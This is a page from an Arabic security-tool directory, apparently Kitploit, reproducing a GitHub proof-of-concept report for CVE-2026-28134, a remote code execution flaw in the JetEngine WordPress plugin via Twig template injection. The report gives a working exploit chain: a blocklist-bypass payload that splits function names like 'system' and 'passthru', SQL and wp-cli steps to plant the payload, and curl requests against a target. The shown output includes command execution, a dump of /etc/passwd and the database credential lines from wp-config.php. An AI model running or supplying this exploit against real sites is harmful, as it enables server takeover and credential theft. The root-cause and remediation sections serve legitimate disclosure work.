Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-28134 — JetEngine <= 3.7.2 - تنفيذ كود عن بُعد بعد المصادقة (مساهم+) | Kitploit
أدوات/GitHubGitHub/randomrobbiebf/cve-2026-28134
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتطوير الحمولات
GitHubrandomrobbiebf/cve-2026-28134

CVE-2026-28134

JetEngine <= 3.7.2 - تنفيذ كود عن بُعد بعد المصادقة (مساهم+)

عرض المستودع
3منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

تقرير استغلال CVE-2026-28134

JetEngine <= 3.7.2 — تنفيذ تعليمات برمجية عن بُعد عبر Twig SSTI للمستخدمين المصادق عليهم (مساهم فأعلى)

التاريخ: 11 مارس 2026 درجة CVSS: 8.8 (عالية) متجه CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H الإضافة المتأثرة: JetEngine <= 3.7.2 معرّف الإضافة: jet-engine CVE: CVE-2026-28134 الحالة: خاص إصدار ووردبريس المُختبَر: الأحدث


الملخص التنفيذي

CVE-2026-28134 هي ثغرة تنفيذ تعليمات برمجية عن بُعد في إضافة JetEngine لووردبريس، وتؤثر على جميع الإصدارات حتى 3.7.2 وما يشمله. تسمح الثغرة للمهاجمين المصادق عليهم ممن يملكون صلاحية المساهم (Contributor) فأعلى بتنفيذ أوامر نظام تعسفية على الخادم عبر حقن قالب Twig خبيث في منشور قائمة JetEngine (Listing).

تدمج سلسلة الهجوم بين ثلاث نقاط ضعف:

  1. موزّع AJAX غير مصادق عليه بدون أي فحص nonce أو صلاحيات، ويقوم بعرض قوالب منشورات القوائم.
  2. محرّك عرض Twig/Timber بدون sandbox — لا يوجد سوى منظّف قوائم حظر قائم على السلاسل النصية.
  3. تجاوز للمنظّف باستخدام عامل دمج السلاسل النصية ~ الخاص بـ Twig لتقسيم أسماء الدوال المحظورة عبر عدة رموز.

✅ تم تأكيد الثغرة — تم تحقيق تنفيذ كامل للتعليمات البرمجية عن بُعد

الأثر المؤكد:

  • تنفيذ أوامر نظام تعسفية بصلاحيات المستخدم www-data
  • قراءة كاملة لنظام الملفات (/etc/passwd, wp-config.php)
  • استخراج بيانات اعتماد قاعدة البيانات

  • تفاصيل الثغرة

    الملخص الفني

    يوفر JetEngine نوع عرض قوائم (Listing view) مبنيًا على Twig/Timber. عند تفعيل مكوّن timber_views، يتم عرض بيانات المنشور _jet_engine_listing_html لمنشورات القوائم التي لديها _listing_type = twig كقالب Twig حي عبر Timber. يمكن الوصول إلى خط أنابيب العرض عبر إجراء AJAX غير المصادق عليه wp_ajax_nopriv_jet_engine_ajax، ولا يتطلب الأمر سوى أن يتمكن المهاجم من إنشاء أو تعديل منشور قائمة JetEngine (حد أدنى دور المساهم).

    المكوّنات المتأثرة

    الملفالمشكلة
    includes/components/listings/ajax-handlers.php:29تسجيل wp_ajax_nopriv_jet_engine_ajax — بدون تحقق من الهوية أو nonce
    includes/components/listings/ajax-handlers.php:104call_user_func(array($this, $_REQUEST['handler'])) — توجيه تعسفي لأي دالة عامة
    includes/components/timber-views/timber.php:150render_html() يعرض قالب Twig يتحكم به المهاجم بدون sandbox
    includes/components/timber-views/timber.php:189sanitize_twig_content() — قائمة حظر regex نصية، ويمكن تجاوزها بتقسيم الرموز
    timber-library/lib/Twig.php:42-43Timber يسجّل fn()/function() كغلافات Twig لـ call_user_func_array

    سلسلة الاستغلال

    الخطوة 1 — موزّع AJAX غير مصادق عليه

    ajax-handlers.php يسجّل إجراء AJAX لكل من المستخدمين المصادق عليه وغير المصادق عليه:

    root@kitploit:~
    // ajax-handlers.php:29
    add_action( 'wp_ajax_jet_engine_ajax',        array( $this, 'handle_ajax' ) );
    add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );
    

    يقوم المعالج بتوجيه الطلب إلى أي دالة عامة في الكلاس بناءً على $_REQUEST['handler'] بدون أي فحص nonce أو صلاحيات:

    root@kitploit:~
    // ajax-handlers.php:96-104
    public function handle_ajax() {
        if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
            return;
        }
        if ( ! empty( $_REQUEST['page_settings'] ) ) {
            foreach ( $_REQUEST['page_settings'] as $key => $value ) {
                $_REQUEST[ $key ] = $value;
            }
        }
        call_user_func( array( $this, $_REQUEST['handler'] ) );
    }
    

    استدعاء listing_load_more متاح للعموم ويؤدي إلى تشغيل خط أنابيب عرض القوائم.

    الخطوة 2 — خط أنابيب عرض Twig

    سلسلة الاستدعاءات listing_load_more → get_listing → frontend->get_listing_item تصل إلى:

    root@kitploit:~
    // frontend.php:302
    $content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );
    

    عندما يكون $listing_view = 'twig'، يتم تشغيل Jet_Engine\Timber_Views\Render::get_listing_content()، والذي يقرأ قالب Twig من حقل المنشور الوصفي _jet_engine_listing_html ويمرّره مباشرة إلى render_html():

    root@kitploit:~
    // timber.php:150
    $template = $twig->createTemplate(
        $this->sanitize_html(
            do_shortcode( $this->sanitize_twig_content( $html ) )
        )
    );
    return $template->render( $context );
    

    يعرض Twig بدون sandbox. الحماية الوحيدة هي sanitize_twig_content().

    الخطوة 3 — تجاوز المنظّف عبر دمج السلاسل النصية

    sanitize_twig_content() يزيل أسماء دوال PHP الخطيرة باستخدام أنماط regex لحدود الكلمات، ثم يتحقق مما إذا تم تعديل القالب أم لا:

    root@kitploit:~
    // timber.php:256-262
    $dangerous_funcs = [
        'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
        'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
    ];
    foreach ( $dangerous_funcs as $func ) {
        $input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
    }
    

    النمط \bsystem\b يطابق الرمز الحرفي system. لكنه لا يطابق "sys" ~ "tem" لأن هذين رمزين نصيين منفصلين بين علامتي اقتباس. يقوم Twig بتقييم عملية الدمج وقت العرض، فتُنتَج "system" في الذاكرة فقط — بينما لا يحتوي القالب المصدر أبدًا على الكلمة المحظورة.

    الحمولة المخترِقة:

    root@kitploit:~
    {{ fn("sys" ~ "tem", "id") }}
    

    يرى المنظّف fn و"sys" و~ و"tem" و"id" — ولا يوجد أي منها في قائمة الحظر. فيمرر القالب دون تعديل.

    الخطوة 4 — تنفيذ التعليمات البرمجية عبر مساعد fn() الخاص بـ Timber

    يسجّل Timber أغلفة استدعاءات PHP مباشرة في بيئة Twig:

    root@kitploit:~
    // timber-library/lib/Twig.php:42-43
    $twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
    $twig->addFunction( new Twig_Function( 'fn',       array( &$this, 'exec_function' ) ) );
    
    root@kitploit:~
    // timber-library/lib/Twig.php:290-297
    public function exec_function( $function_name ) {
        $args = func_get_args();
        array_shift( $args );
        if ( is_string( $function_name ) ) {
            $function_name = trim( $function_name );
        }
        return call_user_func_array( $function_name, ( $args ) );
    }
    

    {{ fn("sys" ~ "tem", "id") }} يتحول إلى call_user_func_array("system", ["id"]) — تنفيذ أوامر نظام تعسفي.


    إثبات المفهوم

    المتطلبات الأساسية

    1. يملك المهاجم صلاحية وصول ووردبريس بمستوى المساهم (Contributor) أو أعلى.
    2. مكوّن timber_views في JetEngine مفعّل (إعدادات JetEngine > الأداء > عروض Timber/Twig).
    3. إضافة مكتبة Timber مثبّتة ومفعّلة.

    الإعداد

    أنشئ منشور قائمة JetEngine مع تخزين قالب Twig الخبيث في بيانات المنشور الوصفية:

    root@kitploit:~
    -- تعيين نوع القائمة إلى twig
    UPDATE wp_postmeta SET meta_value = 'twig'
    WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';
    
    -- حقن حمولة SSTI (تجاوز المنظّف عبر دمج ~)
    UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
    WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';
    
    -- تعيين مصدر القائمة
    UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
    WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';
    

    أو عبر wp-cli (بصفتك مستخدم المساهم):

    root@kitploit:~
    wp post meta update <LISTING_ID> _listing_type twig
    wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'
    

    التشغيل (بدون مصادقة)

    root@kitploit:~
    curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
      -d 'action=jet_engine_ajax' \
      -d 'handler=listing_load_more' \
      -d 'widget_settings[lisitng_id]=<LISTING_ID>' \
      -d 'widget_settings[columns]=1' \
      -d 'query[post_type]=post' \
      -d 'query[posts_per_page]=1' \
      -d 'query[paged]=1' \
      -d 'page_settings[page_id]=1'
    

    النتيجة

    root@kitploit:~
    {
      "success": true,
      "data": {
        "html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
      }
    }
    

    تصعيد الصلاحيات — قراءة الملفات

    تقسيم السلسلة المحظورة passthru إلى "pas" ~ "sthru":

    root@kitploit:~
    curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
      -d 'action=jet_engine_ajax' \
      -d 'handler=listing_load_more' \
      -d 'widget_settings[lisitng_id]=<LISTING_ID>' \
      -d 'widget_settings[columns]=1' \
      -d 'query[post_type]=post' \
      -d 'query[posts_per_page]=1' \
      -d 'query[paged]=1' \
      -d 'page_settings[page_id]=1'
    

    القالب المضبوط على {{ fn("pas" ~ "sthru", "cat /etc/passwd") }}:

    root@kitploit:~
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    ...
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    

    تصعيد الصلاحيات — استخراج بيانات الاعتماد

    القالب {{ fn("pas" ~ "sthru", "grep DB_ /var/www/html/wp-config.php") }}:

    root@kitploit:~
    define( 'DB_USER',     getenv_docker('WORDPRESS_DB_USER',     ...) );
    define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', ...) );
    define( 'DB_HOST',     getenv_docker('WORDPRESS_DB_HOST',     ...) );
    

    تحليل السبب الجذري

    السبب 1 — غياب المصادقة على إجراء AJAX

    wp_ajax_nopriv_jet_engine_ajax يعمل للطلبات غير المصادق عليها. لا يقوم موزّع handle_ajax() بأي تحقق من nonce ولا أي فحص صلاحيات قبل استدعاء listing_load_more. وبالتالي يمكن لأي مستخدم غير مصادق الوصول إلى خط أنابيب العرض بمجرد وجود قائمة خبيثة.

    السبب 2 — عدم وجود Twig Sandbox

    إضافة sandbox الرسمية في Twig (\Twig\Sandbox\SecurityPolicy) تفرض قوائم السماح على مستوى المحرّك — ومن المستحيل استدعاء دوال غير مسموح بها صراحة. يستخدم JetEngine createTemplate() بدون sandbox. الحماية الوحيدة هي فحص نصي قبل العرض، ويمكن التحايل عليها بسهولة.

    السبب 3 — قائمة الحظر regex غير كافية

    أسلوب قائمة الحظر (/\bsystem\b/i) يعمل على النص الثابت لمصدر القالب. عامل دمج السلاسل ~ في Twig يبني السلاسل وقت التشغيل. يمكن تقسيم أي اسم محظور: "pass" ~ "thru", "she" ~ "ll_exec", "sys" ~ "tem", إلى آخره. كان سيرفض sandbox صحيح الاستدعاء بغض النظر عن طريقة بناء اسم الدالة.

    السبب 4 — Timber يكشف call_user_func_array

    مساعدا Twig في Timber fn() وfunction() هما جسران غير مشروطين إلى call_user_func_array في PHP. لا توجد قائمة سماح للدوال القابلة للاستدعاء. يمكن استدعاء أي دالة PHP يمكن الوصول إليها من عملية الويب.


    المعالجة

    الإصلاحالوصف
    إضافة فحص nonce وصلاحيات إلى handle_ajax()اشتراط صلاحية edit_posts وnonce صالح لجميع توجيهات AJAX
    تفعيل Twig sandboxاستبدال قائمة الحظر النصية بـ \Twig\Sandbox\SecurityPolicy — قائمة سماح صريحة للدوال والخصائص الآمنة
    تقييد مساعد fn() في Timberقائمة سماح لأسماء الدوال القابلة للاستدعاء أو إزالة fn()/function() من بيئة Twig للقوالب غير الموثوقة
    التحقق من ملكية القائمةتأكيد أن المستخدم الطالب يملك صلاحية edit_post على القائمة قبل عرض قالبها

    الجدول الزمني

    التاريخالحدث
    2026-03-11اكتشاف الثغرة وتأكيدها مع إثبات مفهوم كامل لـ RCE
    2026-03-11إعداد التقرير

    المراجع

    • إضافة JetEngine — Crocoblock
    • مكتبة Timber/Twig لووردبريس
    • إضافة Twig Sandbox
    • OWASP — حقن القوالب من جهة الخادم
    تنزيل الأداة